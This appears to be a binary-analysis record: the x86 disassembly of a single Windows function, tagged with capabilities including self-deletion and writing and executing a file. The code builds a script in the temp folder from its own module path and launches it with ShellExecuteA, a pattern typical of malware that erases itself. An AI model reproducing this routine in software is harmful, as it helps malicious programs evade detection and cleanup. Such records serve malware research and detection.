Function at 0x404319
Capabilities:
Create process on windows
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x2a0]
sub esp, 0x320
mov eax, dword [0x422040]
xor eax, ebp
mov dword [ebp + 0x29c], eax
push ebx
push esi
push edi
mov esi, 0x41fdc0
lea edi, [ebp + 0x28c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, 0x103
push esi
xor edi, edi
lea eax, [ebp + 0x189]
push edi
push eax
mov byte [ebp + 0x188], 0
call fcn.00411ad0
push esi
lea eax, [ebp + 0x85]
push edi
push eax
mov byte [ebp + 0x84], 0
call fcn.00411ad0
push esi
lea eax, [ebp - 0x7f]
push edi
push eax
mov byte [ebp - 0x80], 0
call fcn.00411ad0
add esp, 0x24
lea eax, [ebp + 0x84]
push eax
lea ebx, [esi + 1]
push ebx
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp + 0x28c]
mov edx, eax
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4043a3
lea edi, [ebp + 0x84]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x4043b3
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
lea eax, [ebp + 0x188]
push eax
and ecx, 3
push 0
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp + 0x188]
push eax
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.0040a305
lea eax, [ebp - 0x80]
push 0x5c
push eax
call fcn.0040a510
add esp, 0x14
test eax, eax
je 0x404401
mov byte [eax], 0
lea eax, [ebp + 0x84]
push 0x41fdd0
push eax
call fcn.0040a031
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x404546
push esi
xor edi, edi
inc edi
push edi
push 9
push 0x41fdd4
call fcn.0040960a
push esi
push edi
push 5
push 0x41fde0
call fcn.0040960a
lea eax, [ebp + 0x188]
add esp, 0x20
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404449
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x188]
push eax
call fcn.0040960a
push esi
push edi
push 2
mov ebx, 0x41fde8
push ebx
call fcn.0040960a
push esi
push edi
push 0xa
push 0x41fdec
call fcn.0040960a
lea eax, [ebp + 0x188]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40448a
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x188]
push eax
call fcn.0040960a
push esi
push edi
push 0xf
push 0x41fdf8
call fcn.0040960a
push esi
push edi
push 7
push 0x41fe08
call fcn.0040960a
lea eax, [ebp - 0x80]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4044c7
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp - 0x80]
push eax
call fcn.0040960a
push esi
push edi
push 3
push ebx
call fcn.0040960a
push esi
push edi
push 5
push 0x41fde0
call fcn.0040960a
lea eax, [ebp + 0x84]
add esp, 0x30
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x404500
push esi
sub eax, ecx
push edi
push eax
lea eax, [ebp + 0x84]
push eax
call fcn.0040960a
push esi
push edi
push edi
push 0x41fe10
call fcn.0040960a
push esi
call fcn.00409703
add esp, 0x24
xor eax, eax
push eax
push eax
push eax
lea ecx, [ebp + 0x84]
push ecx
push 0x41fe14
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp + 0x29c]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408e3f
add ebp, 0x2a0
leave
ret